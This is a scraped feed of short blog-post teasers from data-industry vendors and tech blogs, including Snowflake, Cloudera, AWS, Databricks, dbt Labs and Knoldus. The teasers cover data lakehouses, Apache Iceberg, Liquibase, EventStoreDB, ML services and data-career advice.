Introducing Basic Pitch, Spotify’s free open source tool for converting audio into MIDI. Basic Pitch uses machine learning to transcribe the musical notes in a recording. Drop a recording of almost any instrument, including your voice, then get back a MIDI version, just like that. Unlike similar ML models, Basic Pitch is not only versatile [...]

Customers who feel understood are happy customers. According to a recent McKinsey report, 71% of consumers expect companies to deliver personalized interactions based on what they like—and 76% get frustrated when this doesn’t happen. To meet those high expectations, retail industry leaders are employing Customer 360 to gain deeper insights into their customers. Customer 360 […]

The post How Retailers Increase Customer Satisfaction and Retention with the Snowflake Retail Data Cloud appeared first on Snowflake.

Now more than ever, issues such as climate change, business ethics, and corporate governance are at the forefront of public and political attention. This is why an established set of business standards known as ESG (environmental, social, and governance) often plays a role in today’s financial professionals’ efforts to identify long-term opportunities and risks. However, […]

The post How Financial Services Manage ESG Workflows with the Snowflake Data Cloud appeared first on Snowflake.

Learn about the benefits of data sharing for life sciences companies, and how organizations can leverage data sharing to gain competitive advantage.

The post Life Sciences: Data Sharing as Competitive Advantage appeared first on Snowflake.

Have you ever wished that there was an automated way to receive a notification when a data issue occurs? Perhaps an email when credit consumption on a virtual warehouse exceeds a specific threshold, or a notification if you haven’t received new data in a stage in more than 30 minutes. It’s important to know when […]

The post Alerts and Observability for Pipeline Monitoring and Cost Management appeared first on Snowflake.

Telehealth took over as a primary care option during the pandemic—and it’s not going anywhere. Here’s what this means for all of us.

The post The Pandemic was Telehealth’s Baptism by Fire: Here Are its Impacts appeared first on Snowflake.

Snowflake continues to set the standard for data in the cloud by removing the need to perform maintenance tasks on your data platform and giving you the freedom to choose your data model methodology for the cloud. Cloud offers limitless scalability, and with Snowflake’s unique cloud-based architecture we can increase platform efficiency to make your […]

The post Data Vault Techniques on Snowflake: Virtual Warehouses and Charge Back appeared first on Snowflake.

Technology powers the data economy. Our research identified 10 attributes of an organization’s data infrastructure that enable it to take full advantage of the data economy, the global supply and demand for live data, data applications, and data services. But of the 1,000 IT and business leaders we surveyed, a minority of them reported having […]

The post 3 Ways Technology Can Build Data Economy Leadership—or Hold You Back appeared first on Snowflake.

How innovative companies are turning Snowflake into a marketing growth engine with Flywheel Software We’ve researched dozens of the world’s most successful companies in search of the keys to sustained growth, and we found a single, consistent pattern: customer segmentation and experimentation. The good news is that Snowflake and Flywheel have recently made this pattern […]

The post Snowflake for Marketing with Flywheel appeared first on Snowflake.

Consumers increasingly expect omnichannel experiences when they interact with retail brands. According to McKinsey, B2B customers regularly use 10 or more channels to interact with suppliers (up from just 5 channels in 2016). To meet their expectations, leading brands must create a seamless customer experience across all of their channels. This means customers should be […]

The post How Retailers Deliver Seamless Omnichannel Experiences with the Snowflake Retail Data Cloud appeared first on Snowflake.

A recent study on cloud costs has sparked provocative headlines, such as InfoWorld’s “Was moving to the cloud a mistake?” Clearly, this one was intended to grab attention. With the exponential growth in cloud adoption, who wouldn’t want to find out if it were all for naught? Fortunately, the news is less dire than suggested. […]

The post Slow Into the Turn, Accelerate Out: Implement Cost Governance To Accelerate Cloud Adoption appeared first on Snowflake.

The Snowflake Certification program launched in September 2019 and boasts over 10,000 SnowPros (as of October 2022) in our certified community. Earning and maintaining a SnowPro Certification is your personal commitment to expanding your Snowflake skill set, knowledge, and possible new career opportunities. To demonstrate continued competency, stay certified with Snowflake through our recertification paths. […]

The post Snowflake Recertifications: Navigating Snowflake’s Maintenance Paths appeared first on Snowflake.

Since Snowflake’s inception, we’ve had the needs of our customers as our North Star, with a clear focus on security and governance of data. Early on we also committed to continuous innovations to improve performance and reduce latencies, and by virtue of our business model continuously improve the economics for our customers. We want to […]

The post Snowflake’s Commitment to Continuously Improve Economics for Our Customers appeared first on Snowflake.

Enterprises and governments around the world have entered an era of “compressed digital transformation (DX).” In this scenario, organizations are forced to innovate using AI and ML to create new data products and applications in weeks and months, not years and thus can leap ahead. Advancements in machine learning, natural language processing, and computer vision […]

The post How a Data Cloud Unlocks AI/ML Innovation at Scale appeared first on Snowflake.

Introduction Stream processing is about creating business value by applying logic to your data while it is in motion. Many times that involves combining data sources to enrich a data stream. Flink SQL does this and directs the results of whatever functions you apply to the data into a sink. Business use cases, such as […]

The post Enriching Streams with Hive tables via Flink SQL appeared first on Cloudera Blog.

Innovation Accelerator Spotlight: Cloudera's dbt offering provides its customers a way to simplify and streamline their transformation pipelines in the open data lakehouse using any engine, and in any form factor.

The post Cloudera’s Open Data Lakehouse Supercharged with dbt Core appeared first on Cloudera Blog.

The promise of a modern data lakehouse architecture Imagine having self-service access to all business data, anywhere it may be, and being able to explore it all at once. Imagine quickly answering burning business questions nearly instantly, without waiting for data to be found, shared, and ingested. Imagine independently discovering rich new business insights from […]

The post The Modern Data Lakehouse: An Architectural Innovation appeared first on Cloudera Blog.

Cloudera Machine Learning (CML) is a cloud-native and hybrid-friendly machine learning platform. It unifies self-service data science and data engineering in a single, portable service as part of an enterprise data cloud for multi-function analytics on data anywhere. CML empowers organizations to build and deploy machine learning and AI capabilities for business at scale, efficiently […]

The post Building Custom Runtimes with Editors in Cloudera Machine Learning appeared first on Cloudera Blog.

In June 2022, Cloudera announced the general availability of Apache Iceberg in the Cloudera Data Platform (CDP). Iceberg is a 100% open-table format, developed through the Apache Software Foundation, which helps users avoid vendor lock-in and implement an open lakehouse. The general availability covers Iceberg running within some of the key data services in CDP, […]

The post How to Use Apache Iceberg in CDP’s Open Lakehouse appeared first on Cloudera Blog.

Fine grained access control (FGAC) with Spark Apache Spark with its rich data APIs has been the processing engine of choice in a wide range of applications from data engineering to machine learning, but its security integration has been a pain point.t Many enterprise customers needi finer granularity of control, in particular at the […]

The post Applying Fine Grained Security to Apache Spark appeared first on Cloudera Blog.

Cloudera Technology Spotlight

The post Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

Cloudera customers run some of the biggest data lakes on earth. These lakes power mission critical large scale data analytics, business intelligence (BI), and machine learning use cases, including enterprise data warehouses. In recent years, the term “data lakehouse” was coined to describe this architectural pattern of tabular analytics over data in the data lake. […]

The post The Future of the Data Lakehouse – Open appeared first on Cloudera Blog.

A guide to tune and troubleshoot performance of the Hive on Tez after upgrading to CDP

The post Optimizing Hive on Tez Performance appeared first on Cloudera Blog.

Data holds incredible untapped potential for Australian organisations across industries, regardless of individual business goals, and all organisations are at different points in their data transformation journey with some achieving success faster than others. To be successful, the use of data insights must become a central lifeforce throughout an organisation and not just reside within […]

The post From the Ground Up: The Truth About Data Innovation appeared first on Cloudera Blog.

Please join us on March 24 for Future of Data meetup where we do a deep dive into Iceberg with CDP What is Apache Iceberg? Apache Iceberg is a high-performance, open table format, born-in-the cloud that scales to petabytes independent of the underlying storage layer and the access engine layer. By being a truly open […]

The post 5 Reasons to Use Apache Iceberg on Cloudera Data Platform (CDP) appeared first on Cloudera Blog.

Over the past decade, the successful deployment of large scale data platforms at our customers has acted as a big data flywheel driving demand to bring in even more data, apply more sophisticated analytics, and on-board many new data practitioners from business analysts to data scientists. This unprecedented level of big data workloads hasn’t come […]

The post Introducing Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

Introducing Cloudera Data Engineering in CDP Private Cloud 1.3

The post Make the leap to Hybrid with Cloudera Data Engineering appeared first on Cloudera Blog.

Data analytics technology has had a profound effect on the nature of customer engagement. Analytics is especially important for companies trying to optimize their online presence. Website optimization is absolutely vital for any brand striving to do business online. According to Northern Arizona University, 88% of customers will leave a website due to a poor […]

The post Advances in Data Analytics Key to Business Website Optimization appeared first on SmartData Collective.

It’s hard to overestimate the value that data insights have come to represent to today’s businesses. Investments in analytics tech have risen commensurately, with some 73 percent of respondents telling IDC that they expect to spend more on data-focused software than any other category in 2023. While emphasizing data analytics has become the standard for […]

The post Accessible Business Analytics Set to Be a Boon for Small Businesses appeared first on SmartData Collective.

Last September, various news outlets picked up the story of an AI-generated painting taking first place at the Colorado State Fair’s art contest. To create the winning piece, the contestant entered some text into Midjourney, an online app that creates images based on text input. The result is a piece called ‘Théâtre D’opéra Spatial,’ one […]

The post Intellectual Property Law Becomes Murkier As More Creations Are Created with AI appeared first on SmartData Collective.

Artificial intelligence is playing an important role in modern creative professions. There are a lot of reasons a growing number of companies are turning to AI technology. One poll showed that 61% of companies found that AI and machine learning were their best data investments. One of the industries that is evolving by adopting new […]

The post Is Artificial Intelligence Setting A New Standard For Web Design? appeared first on SmartData Collective.

Inflation and an impending recession are two huge challenges facing the restaurant industry today. But could artificial intelligence be the solution to both of these problems? Let’s take a look at how AI could help restaurants survive and even thrive in spite of these challenges. Many factors are contributing to inflation, including the rising cost […]

The post AI Can Help Restaurants Survive Challenges with Inflation and the Coming Recession appeared first on SmartData Collective.

Data analytics is unquestionably one of the most disruptive technologies impacting the manufacturing sector. Manufacturers are projected to spend nearly $10 billion on analytics by the end of the year. Data analytics can solve many of the biggest challenges that manufacturers face. One of the most significant benefits of leveraging analytics in manufacturing is with […]

The post Data Analytics Solves Manufacturing Marketing Agency Challenges appeared first on SmartData Collective.

The COVID-19 pandemic fundamentally altered the marketing landscape, and in many ways for the better. While live streaming and video marketing have long been a part of a marketers toolkit, the prolonged lockdowns, social distancing, and travel bans over the course of the pandemic helped thrust it into the limelight, resulting in widespread adoption and […]

The post Advances In AI Help Marketers With Live Streaming Video Marketing appeared first on SmartData Collective.

AI technology has radically changed the future of many industries and is changing the way companies do business forever. Most of the discussions on the benefits of AI focus on helping traditional businesses boost their bottom line. In our capitalist economy, this is not surprising. However, AI also offers many benefits for nonprofits. Dr. Lobna […]

The post How Artificial Intelligence Can Improve Your Fundraising Efforts appeared first on SmartData Collective.

Data has unquestionably had a huge impact on our lives. It is becoming more prolific as well, as 2.5 quintillion bytes of data are generated every day. Data is everything in today’s tech-driven world. Every company collects data, analyzes it, and makes its marketing and sales strategies based on the data’s results to attract more […]

The post Top 5 Reasons You Should Become a Data Analyst appeared first on SmartData Collective.

AI technology is driving some tremendous changes in digital technology. Many of the developments brought on by AI have been beneficial. However, some of the changes created by AI have been harmful. One of the biggest examples of problems caused by AI is the growing threat of cybersecurity threats. A growing number of hackers are […]

The post 3 Ways AI Has Led to Horrifying Cybersecurity Threats appeared first on SmartData Collective.

Big data and AI technology has led to some major breakthroughs in online video technology. Irwin Lazar, president and principle analyst at Metrigy Research, writes that AI has opened a ton of new doors for video streaming technology. AI technology can help improve the user experience and capture information during meetings more easily. “AI initiatives […]

The post Companies Like iMind Use AI for Stellar Video Conferencing Services appeared first on SmartData Collective.

AI technology is changing many fields that were expected to be immune to its touch. The creative design fields were among those that many people assumed would be unaffected by AI. However, AI is clearly changing the artistic profession. The market for NFTs was worth over $41 billion last year. Of course, artists are finding […]

The post Benefits of Hiring Professional Illustrators that Use AI appeared first on SmartData Collective.

Artificial intelligence has upended the digital marketing profession. A growing number of marketers are using AI to optimize and automate marketing campaigns in fantastic ways. Jason Hall, Founder and CEO of FiveChannels described some of the phenomenal benefits of leveraging AI in digital marketing in a post in Forbes. Hall states that AI hasn’t removed […]

The post New AI Advances Increase User Reach with Advanced Targeting appeared first on SmartData Collective.

As soon as the tax season starts in the US, accounting professionals and CPAs get their hands full, smoothing out tax preparation and filing the subsequent returns. This involves gathering data and organizing documents. Tax filing is an ongoing process that runs throughout the year and has great responsibilities attached to it. When ignored, things […]

The post Strategies to Make Better Profits for CPAs During Tax Season appeared first on SmartData Collective.

Artificial intelligence is drastically changing the future of finance. Financial institutions spent over $10.1 billion on AI last year. One of the many ways that AI is being leveraged in finance is by helping improve the experience of investors. Modern investors enjoy a much smoother trading experience than their predecessors. Thanks to the invention of […]

The post AI Data, Traditional Trading, and Modern Investments appeared first on SmartData Collective.

Reading Time: 4 minutes Liquibase is a database change management system for software developers, DBAs, and data architects. It provides an easy-to-use platform for managing both relational and non-relational databases. Liquibase offers change tracking, versioning, and branching, so you can have multiple versions of your production schema with different changes applied on each branch. SQL Injection SQL injection is a type of attack where the attacker inserts malicious SQL Continue Reading

The post What Is The Difference Between Liquibase and SQL Injection? appeared first on Knoldus Blogs.

Reading Time: 2 minutes Introduction There are two open source-based tools for database version control Liquibase and Flyway. These are popular options for organizing database changes and database versioning, deploying changes when they need to be deployed, and tracking what’s been deployed. Those who have ever developed any software will tell you, you shouldn’t develop application code without version control and also same is true for database code. So, Continue Reading

The post Flyway vs Liquibase appeared first on Knoldus Blogs.

Reading Time: 3 minutes Introduction Let’s assume you want to install the Event Store for your next project. What should you do? Here we’ll go over all the different ways EventStore can be installed and give some advice on which one may be best for your situation. Linux To install the Linux version of Event Store, run the following: Here, is the URL for the latest Debian packages: https://packagecloud.io/EventStore/EventStore-OSS Continue Reading

The post Event Store installation on Various Platforms appeared first on Knoldus Blogs.

Reading Time: 3 minutes Introduction In this article, we will discuss EventStoreDB. EventStoreDB is a database that allows the user to read and store events into fine-grained streams, as well as read all or a subset of events. It is an approach to building applications focused on storing state changes as they occur. First, we’ll look at the core topics like events, event sourcing, and event streams. So let’s Continue Reading

The post Basic Concepts of EventStoreDB appeared first on Knoldus Blogs.

Reading Time: 3 minutes Liquibase is a database change operation tool designed to help you manage changes in your colorful databases as you move from development, test, and production env. It works by storing all the changes that have been made to a given database in one file i.e called a changelog. You can also load up the changelog on a new database and apply all of those changes Continue Reading

The post Introduction to Liquibase – A Better Database Change Management Tool appeared first on Knoldus Blogs.

Reading Time: 4 minutes What is Pub/Sub? Cloud Pub/Sub is a message queuing service that allows you to exchange messages between applications and microservices. It’s a scalable, durable, and highly available message-passing system that helps you build event-driven architectures. In this tutorial, we will show you how to use the Google Cloud console to publish and receive messages in Cloud Pub/Sub. We will also provide some tips on how Continue Reading

The post Publish and receive messages in Google Cloud Pub/Sub appeared first on Knoldus Blogs.

Reading Time: 4 minutes Hello Learner, I am back with another blog related to the docker container. In this blog, we will learn How to run the docker in a docker container. So we will use two different ways to do this task. Docker It is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver Continue Reading

The post How to run the Docker inside the docker container. appeared first on Knoldus Blogs.

Reading Time: 3 minutes With Liquibase, you can specify the database modification you desire using SQL or a number of other database-independent forms, such as XML, YAML, and JSON. It is incredibly simple for developers to submit updates to many database types by abstracting the database logic. How does Liquibase work? The changeLog file is how Liquibase functions most frequently. One or more changeSets are contained in this text Continue Reading

The post Features of Liquibase appeared first on Knoldus Blogs.

Reading Time: 7 minutes Recently, we had the pleasure to participate in a machine-learning project that involved libraries like React and D3.js. Among many tasks, I developed a few d3 bar charts and line charts that helped to process the result of ML models like Naive Bayes. In this article, I would like to present my progress with D3.js so far and show the basic usage of this javascript Continue Reading

The post D3.js Bar Chart: Build Interactive JavaScript Charts and Graphs appeared first on Knoldus Blogs.

Reading Time: 3 minutes 1. About 1.1 Introduction Micronaut is an open-source JVM-based software framework for building lightweight, modular applications and microservices. It helps to create microservices with small memory footprints and quick startup time. 2. Use Case Let’s take a use case. We are going to create a web app with the help of Groovy and Micronaut to perform CRUD operations. For that, we have to implement the CRUD Continue Reading

The post Groovy CRUD Web App Using Micronaut appeared first on Knoldus Blogs.

Reading Time: 3 minutes What is Liquibase? First, Liquibase is an open-source database schema change management tool that makes it simple for you to handle database change revisions. How Does Liquibase Work? Regardless of your database platform, changes are defined in a platform-neutral language. In essence, you maintain a running list of modifications. And, Liquibase uses its execution engine to make those modifications for you. It requires the appropriate Continue Reading

The post Managing database schema with Liquibase appeared first on Knoldus Blogs.

Reading Time: 3 minutes Introduction Automation is a crucial part of the Artificial Intelligence cycle. It allows organizations to perform tasks that require human input and improves tradecraft. This also increases efficiency in order to keep pace with changing technologies and requirements. And MarkLogic is providing some extra benefits in implementing AI processes. MarkLogic has its own optimized algorithms and implementations of some AI methodologies. Achieved due to its Continue Reading

The post Artificial Intelligence & MarkLogic: An Wonderful Architecture appeared first on Knoldus Blogs.

Reading Time: 4 minutes Introduction EventStoreDB is an Event-Specific Database. You may save each state change as a distinct event, in a contrast to state-oriented databases that simply keep the most recent version of the entity state. List of Features of EventStoreDB EventStreams Stream MetaData, Reserved Names and Event MetaData Stream MetaData In EventStoreDB, every stream has a corresponding metadata stream that contains a prefix of “$$”, for example, Continue Reading

The post Features of EventStoreDB appeared first on Knoldus Blogs.

Reading Time: 3 minutes Introduction EventStoreDB is a database that allows users to read and persist events into fine-grained streams while also accessing all or a subset of events. It is a database designed for event sourcing. Its designed from the ground up for Event Sourcing and provides an unequalled solution for developing event-sourced systems. What is an Event, Event Stream, Event Sourcing and EventStoreDB Event An event is Continue Reading

The post EventStoreDB And Its Basic Concepts appeared first on Knoldus Blogs.

Reading Time: 2 minutes connecting micronaut with kafka

The post Connecting Kafka With Micronaut appeared first on Knoldus Blogs.

We brought a whole team to San Francisco to present and attend this year’s Data and

AI Summit, and it was a blast! I

would consider the event a success both in the attendance to the Scribd hosted

talks and the number of talks which discussed patterns we have adopted in our

own data and ML platform.

The three talks I wrote about

previously were well received and have

since been posted to YouTube along with hundreds of other talks. Christian Williams shared some of the

work he has done developing

kafka-delta-ingest in his talk: QP Hou, Scribd Emeritus, presented on

his foundational work to ensure correctness within delta-rs during his session: R Tyler Croy co-presented with Gavin

Edgley from …

layout: post

title: “Accelerating Looker with Databricks SQL Serverless”

tags: looker

databricks

featured

team: Core Platform

author: hamiltonh

—- We recently migrated Looker to a Databricks SQL Serverless, improving our

infrastructure cost and reducing the footprint of infrastructure we need to

worry about! “Databricks SQL” which provides a single load balanced Endpoint

for executing Spark SQL queries across multiple Spark clusters behind the

scenes. “Serverless” is an evolution of that concept, rather than running a SQL

Endpoint in our AWS infrastructure, the entirety of execution happens on the

Databricks side. With a much simpler and faster interface, queries executed in

Looker now retu…

We are very excited to be presenting and attending this year’s Data and AI

Summit which will be

hosted virtually and physically in San Francisco from June 27th-30th.

Throughout the course of 2021 we completed a number of really interesting

projects built around delta-rs and the

Databricks platform which we are thrilled to share with a broader audience.

In addition to the presentations listed below, a number of Scribd engineers who

are responsible for data and ML platform, machine learning systems, and more,

will be in attendance if you want to meet up and learn more about how Scribd

uses data and ML to change the way the world reads! Christian Williams will be sharing some of the

work he ha…

Since data is such an essential aspect of business intelligence, data analysts are very much in demand — and this trend is only increasing! The job is key for many types of projects, such as analyzing market trends or collecting data for political polls. If you want to learn to become a data analyst, you’re […]

In this article, we’re sharing the 25 most common business analyst interview questions and answers that you could encounter during a job interview. Being ready for these questions can not only help you prepare for and feel more comfortable in an interview for a business analyst role, it can also identify the gaps you may […]

Do I need a data analytics certificate? If you’re set on becoming a data analyst, you’ve no doubt asked yourself this question more than once. And you’re not alone. Even so, getting a straight answer about required certifications for data analysts is tricky. Why? Because there are dozens of companies offering data analytics certificates online. […]

Becoming a data journalist and learning to code isn't as difficult as you might think, but you have to approach it in the right way to avoid common mistakes.

You don’t have to be a data science veteran to find success in the field. Just ask NASA Datanaut Alyssa Columbus. Although she graduated from college earlier this year, Alyssa already has a full-time data scientist role at Pacific Life. She also boasts a laundry list of speaking engagements and has founded a local group […]

Want to work in data? Then you might be wondering: Do I need a SQL certification to qualify for a data job? The answer to this question can be confusing. To start, various SQL certification programs will make it seem like having a certificate is paramount to getting a data job. Also, some “experts” will […]

Microsoft Power BI is the application of choice when it comes to business analysis. So, do you need a certification to work in this field? Microsoft Power BI is one of the top business intelligence and data analytics platforms in the world. If you’re an aspiring business analyst, you will almost certainly cross paths with […]

Learning SQL might not be as "sexy" as learning Python or R, but it's a fundamental skill for almost every data scientist and data analyst job. Here's why.

Data scientists are in extreme demand, and for good reason — data scientists are doing everything from creating self-driving cars to automatically captioning images. If you want to know how to become a data scientist, then you’re in the right place. I’ve been where you are, and now I want to help. A decade ago, […]

You need a portfolio of relevant projects if you want to get a job as a business analyst. Why? There are at least two valid reasons: Creating business analyst projects is an excellent way to practice your skills. Doing different exercises is good, but building an end-to-end project lets you apply various skills to solve […]

Without great insights, a business cannot succeed. Period. That’s where business analysis comes in. Business analysts help organizations determine which strategies do and don’t work. The BA is responsible for assessing business needs and making recommendations to improve operations. Although the purpose of this job is quite clear, it can be tricky to pin down […]

What’s the best Python certificate to get? Python certifications can cost up to thousands of dollars. Are they worth your time?

Python is a programming language — Anaconda is a bundle of Python, other languages, and data science tools. Here’s what you need to know about the two. Python is a multi-purpose programming language that is used universally, from machine learning to website building. It uses pip (a reverse acronym for "Pip Installs Packages" or "Pip […]

Thinking about kickstarting a career in data analytics? These 10 high-paying jobs may just be the motivation you need to learn more about the data science industry and gain the specific skills you need to succeed.

What are 5 real-world tasks that cover most of the skills someone needs to be hired as a data analyst?

AWS Glue is a serverless data integration service that makes it easy to discover, prepare, and combine data for analytics, machine learning (ML), and application development. In AWS Glue, you can use Apache Spark, an open-source, distributed processing system for your data integration tasks and big data workloads. Apache Spark utilizes in-memory caching and optimized […]

We’re thrilled to announce that Stability AI has selected AWS as its preferred cloud provider to power its state-of-the-art AI models for image, language, audio, video, and 3D content generation. Stability AI is a community-driven, open-source artificial intelligence (AI) company developing breakthrough technologies. With Amazon SageMaker, Stability AI will build AI models on compute clusters […]

In this two part series, we discuss the challenges faced by OfferUp, a Digital Native customer, to meet business growth and time-to-market. Their journey involved modernizing their existing DevOps platform, from the traditional monolith virtual machine (VM) based architecture to modern containerized architecture and running cloud-native applications for secured progressive delivery to accelerate time to […]

Today’s global, data-driven organizations treat data as an asset and use it across different lines of business (LOBs) to drive timely insights and better business decisions. Amazon Redshift data sharing allows you to securely share live, transactionally consistent data in one Amazon Redshift data warehouse with another Amazon Redshift data warehouse within the same AWS […]

It only takes one groundbreaking invention—one iconic idea that solves a widespread pain point for customers—to create or transform an industry forever. From the invention of the telegraph, to the discovery of GPS, to the earliest cloud computing services, history is filled with examples of these “eureka” moments that continue to have long-lasting impacts on […]

Amazon SageMaker Autopilot, a low-code machine learning (ML) service that automatically builds, trains, and tunes the best ML models based on tabular data, is now integrated with Amazon SageMaker Pipelines, the first purpose-built continuous integration and continuous delivery (CI/CD) service for ML. This enables the automation of an end-to-end flow of building ML models using […]

We recently announced the preview release of Amazon OpenSearch Serverless, a new serverless option for Amazon OpenSearch Service, which makes it easy for you to run large-scale search and analytics workloads without having to configure, manage, or scale OpenSearch clusters. It automatically provisions and scales the underlying resources to deliver fast data ingestion and query […]

Today we are excited to announce that AI21 Jurassic-1 (J1) foundation models are available for customers using Amazon SageMaker. Jurassic-1 models are highly versatile, capable of both human-like text generation, as well as solving complex tasks such as question answering, text classification, and many others. You can easily try out this model and use it […]

Artificial intelligence (AI) and machine learning (ML) are some of the most transformative technologies we will encounter in our generation—to tackle business and societal problems, improve customer experiences, and spur innovation. Along with the widespread use and growing scale of AI comes the recognition that we must all build responsibly. At AWS, we think responsible […]

Amazon ElastiCache for Redis is a fully managed, Redis-compatible, in-memory caching service that provides microsecond speed to support real-time applications. ElastiCache for Redis combines the speed, simplicity, and versatility of open-source Redis with the reliability, scalability, manageability, and security from AWS to power the most demanding real-time applications in media and entertainment, financial services, ecommerce, AdTech, […]

Amazon QuickSight Q uses machine learning (ML) to enable any user to ask questions about business data in natural language and receive accurate answers with relevant visualizations in seconds. Today, Amazon QuickSight announces support for two new question types that simplify and scale complex analytical tasks using natural language: “forecast” and “why.” In this post, […]

Over the last 5 years, artificial intelligence (AI) and machine learning (ML) have evolved from a niche activity to a rapidly growing mainstream endeavor. Today, more than 100,000 customers across numerous industries rely on AWS for ML and AI initiatives that infuse AI into a broad range of business use cases to automate repetitive and […]

Amazon Redshift is the fastest, most widely used, fully managed, petabyte-scale cloud data warehouse. Tens of thousands of customers use Amazon Redshift to process exabytes of data every day to power their analytics workloads. Data engineers, data analysts, and data scientists want to use this data to power analytics workloads such as business intelligence (BI), […]

Amazon Redshift is a fast, fully managed, petabyte-scale cloud data warehouse. You have the flexibility to choose from provisioned and serverless compute modes. You can start loading and querying large datasets conveniently in Amazon Redshift using Amazon Redshift Query Editor v2, a web-based SQL client application. Query Editor v2 empowers your technical and business teams […]

Calculation at the right granularity always needs to be handled carefully when performing data analytics. Especially when data is generated through joining across multiple tables, the denormalization of datasets can add a lot of complications to make accurate calculations challenging. Amazon QuickSight recently launched a new functionality called level-aware calculations (LAC), which enables you to […]

Operational excellence is critical for BloomIP’s customers. In this post, you will see how we built a solution to automate the detection of trends and issues in production workloads by implementing Amazon DevOps Guru for our clients. BloomIP ensures your business is ready for what’s ahead, with security, scalability, performance, and cost control. We are […]

AWS SDK for pandas is an open-source library that extends the popular Python pandas library, enabling you to connect to AWS data and analytics services using pandas data frames. We’ve seen customers use the library in combination with pandas for both data engineering and AI workloads. Although pandas data frames are simple to use, they […]

In 2019, Amazon co-founded the climate pledge. The pledge’s goal is to achieve net zero carbon by 2040. This is 10 years earlier than the Paris agreement outlines. Companies who sign up are committed to regular reporting, carbon elimination, and credible offsets. At the time of this writing, 377 companies have signed the climate pledge, […]

AWS Glue is a serverless data integration service that makes it simple to discover, prepare, move, and integrate data from multiple sources for analytics, machine learning (ML), and application development. Today, AWS Glue processes customer jobs using either Apache Spark’s distributed processing engine for large workloads or Python’s single-node processing engine for smaller workloads. Customers […]

Amazon Kendra is an intelligent search service powered by machine learning (ML). Kendra reimagines enterprise search for your websites and applications so your employees and customers can easily find the content they’re looking for, even when it’s scattered across multiple locations and content repositories within your organization. Amazon Kendra users can now quickly find the […]

Amazon CodeWhisperer is a machine learning (ML)-powered service that helps improve developer productivity by generating code recommendations based on developers’ prior code and comments. Today, we are excited to announce that AWS administrators can now enable CodeWhisperer for their organization with single sign-n (SSO) authentication. Administrators can easily integrate CodeWhisperer with their existing workforce identity […]

Machine learning (ML) models are taking the world by storm. Their performance relies on using the right training data and choosing the right model and algorithm. But it doesn’t end here. Typically, algorithms defer some design decisions to the ML practitioner to adopt for their specific data and task. These deferred design decisions manifest themselves […]

Amazon OpenSearch Service makes it easy for you to perform interactive log analytics, real-time application monitoring, website search, and more. OpenSearch is an open-source, distributed search and analytics suite comprising OpenSearch, a distributed search and analytics engine, and OpenSearch Dashboards, a UI and visualization tool. When you use Amazon OpenSearch Service, you configure a set […]

This is a guest post by Stephen Carrad, Vice President at JP Morgan Chase & Co. JPMorgan & Chase Co. started its cloud journey four years ago, building the integrations required to deploy cloud-native applications into the cloud in a resilient and secure manner. In the first year, three applications tentatively dipped their toes into […]

Amazon SageMaker Studio is a fully integrated development environment (IDE) for machine learning (ML) that enables data scientists and developers to perform every step of the ML workflow, from preparing data to building, training, tuning, and deploying models. Studio comes with built-in integration with Amazon EMR so that data scientists can interactively prepare data at […]

We’re excited to announce the launch of small multiples in Amazon QuickSight at AWS re:Invent 2022! Small multiples is one of the most powerful data visualization features when it comes to comparative analysis. Previously, you had to either use a filter or create multiple visuals side by side to analyze multiples slices of the same […]

We are excited to announce the launch of text boxes in Amazon QuickSight. Now you can add text for common use cases, including but not limited to titles, subtitles, annotations, adding additional information for KPIs etc has been simplified than ever before with the new text box. You can reposition, resize, and make your text […]

Amazon QuickSight is a serverless, cloud-based business intelligence (BI) service that brings data insights to your teams and end-users through machine learning (ML)-powered dashboards and data visualizations that can be accessed via QuickSight or embedded in apps and portals that your users access. Line charts in QuickSight have undergone a major overhaul this year, starting […]

In this post, we present a design for a common technical requirement: ingest data from multiple sources to a target Resource Description Framework (RDF) graph database. Our target is Amazon Neptune, a managed graph database service. RDF is one of two graph models supported by Neptune. The other is Labeled Property Graph (LPG). Each graph […]

We're sharing how we rearchitected the dbt Cloud scheduler to keep up with customer demand. Including how we tackle distributed system problems.

Experiencing dbt’s workflow on the lakehouse has never been easier.

dbt Labs raised another round of funding– $222m at $4.2b valuation. Existing investor Altimeter led the round, with participation from Databricks, GV, Salesforce Ventures, and Snowflake. The raise will fuel our investment in building the next layer in the modern data stack.

Ongoing incidents with dbt Cloud have created slowness and lack of availability. Here is a recap of what happened and our plans to fix this.

Security challenges with Scala and Java libraries Open source communities have built incredibly useful libraries. They simplify many common development scenarios. Through our…

The post Restricting Libraries in JVM Compute Platforms appeared first on Databricks.

Today, we’re excited to announce that Databricks has collaborated with Avanade, Deloitte, and ZS to expand Brickbuilder Solutions for healthcare and life sciences.…

The post Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences appeared first on Databricks.

Introduction When working with files, there may be processes generated by custom APIs or applications that cause more than one JSON object to…

The post Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse appeared first on Databricks.

Check our new Order Picking Optimization Solution Accelerator for more details and to download the notebooks. Demand for buy-online pickup in-store (BOPIS), curbside…

The post Optimizing Order Picking to Increase Omnichannel Profitability with Databricks appeared first on Databricks.

Check our new Order Picking Optimization Solution Accelerator for more details and to download the notebooks. Demand for buy-online pickup in-store (BOPIS), curbside…

The post Optimizing Order Picking to Increase Omnichannel Profitability with Databricks appeared first on Databricks.

We were thrilled to announce the preview for Python User-Defined Functions (UDFs) in Databricks SQL (DBSQL) at last month’s Data and AI Summit.…

The post Power to the SQL People: Introducing Python UDFs in Databricks SQL appeared first on Databricks.

This is a collaborative post from Databricks and Compass. We thank Sujoy Dutta, Senior Machine Learning Engineer at Compass, for his contributions. …

The post Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks appeared first on Databricks.

This is a collaborative post from Databricks and Compass. We thank Sujoy Dutta, Senior Machine Learning Engineer at Compass, for his contributions. …

The post Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks appeared first on Databricks.

There is a breach! You are an infosec incident responder and you get called in to investigate. You show up and start asking…

The post Hunting for IOCs Without Knowing Table Names or Field Labels appeared first on Databricks.

There is a breach! You are an infosec incident responder and you get called in to investigate. You show up and start asking…

The post Hunting for IOCs Without Knowing Table Names or Field Labels appeared first on Databricks.

At last week’s Data and AI Summit, we highlighted a new project called Spark Connect in the opening keynote. This blog post walks…

The post Introducing Spark Connect – The Power of Apache Spark, Everywhere appeared first on Databricks.

